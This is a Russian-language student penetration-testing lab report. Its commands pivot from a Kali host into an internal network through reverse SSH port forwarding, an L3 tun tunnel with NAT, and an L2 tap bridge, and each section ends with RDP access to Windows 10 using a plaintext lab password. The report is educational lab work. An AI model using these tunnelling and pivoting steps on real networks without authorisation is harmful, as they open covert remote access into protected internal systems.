# Тестирование на проникновение - 4
## Луговой Илья, БСБО-05-20
## SSH Port Forwarding
### Инфраструктура

### Kali -> Windows 10
#### Windows 10
Для установления Reverse Shell с пробросом порта для RDP выполняем команду:
```
ssh -R 3395:localhost:3389 user@192.168.178.129
```
> *192.168.178.129* - **Kali**
#### Kali
Просматриваем текущие соединения:
```
ss -tunlp
```

Теперь можно подлючится по RDP к Windows 10:
```
xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:3395
```

### Kali -> Debian -> Windows 10
#### Debian
Настраиваем интерфейс для подключения к сети:
```
sudo nano /etc/networking/interfaces
# The primary network interface
auto ens3
allow-hotplug ens3
iface ens3 inet dhcp
```

```
sudo service networking restart
```
Устанавливаем Reverse Shell с пробросом RDP порта от Windows 10:
```
ssh -R 3395:192.168.1.105:3389 user@192.168.178.129
```
> *192.168.1.105* - **Windows 10**
> *192.168.178.129* - **Kali**
#### Kali
```
xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:3395
```

## L3
### Инфраструктура

### Kali
Запускаем службу SSH и настраиваем ее для возможности подключения под **root** и разрешения проброса туннеля:
```
sudo nano /etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel yes
```
```
sudo service ssh restart
sudo passwd root
```
### Debian
Подключаемся к Kali с пробросом туннеля:
```
ssh -w 0:0 root@192.168.178.129
```
> *192.168.178.129* - **Kali**

### Kali

Влючаем интерфейс **tun0** и назначаем на него IP:
```
sudo -i
ip addr add 10.8.0.1/24 dev tun0
ip link set tun0 up
```

### Debian
То же самое проделываем на Debian:
```
sudo -i
ip addr add 10.8.0.2/24 dev tun0
ip link set tun0 up
```

```
nano /etc/sysctl.conf
net.ipv4.ip_forward=1
```
Настраиваем NAT для доступа к устройствам сети извне:
```
sysctl -p
iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
```
### Kali
Прописываем статический маршрут на **tun0** для доступа к новой сети:
```
ip route add 192.168.1.0/24 via 10.8.0.1
```
Теперь можно подключиться по RDP к Windows 10:
```
xfreerdp /u:admin /p:eve@123 /v:192.168.1.107:3389
```
> *192.168.1.107* - **Windows 10**
## L2
### Инфраструктура

#### Debian
Устанавливаем необходимый пакет для организации мостов:
```
sudo apt install bridge-utils
```
Настраиваем интерфейсы и мост:
```
sudo nano /etc/networking/interfaces
# The primary network interface
auto ens3
iface ens3 inet manual
auto ens4
iface ens4 inet manual
auto br0
iface br0 inet dhcp
bridge_ports ens3 ens4
```


Устанавливаем SSH соединение с прокладкой туннеля:
```
sudo ssh root@192.168.178.129 -o Tunnel=ethernet -w any:any
```
> *192.168.178.129* - **Kali**
Включаем интерфейс и донастраиваем мост:
```
sudo ip link set tap0 up
sudo brctl addif br0 tap0
sudo brctl show
```

#### Kali
Донастраиваем интерфейс:
```
sudo ip link set tap0 up
sudo dhclient tap0
```

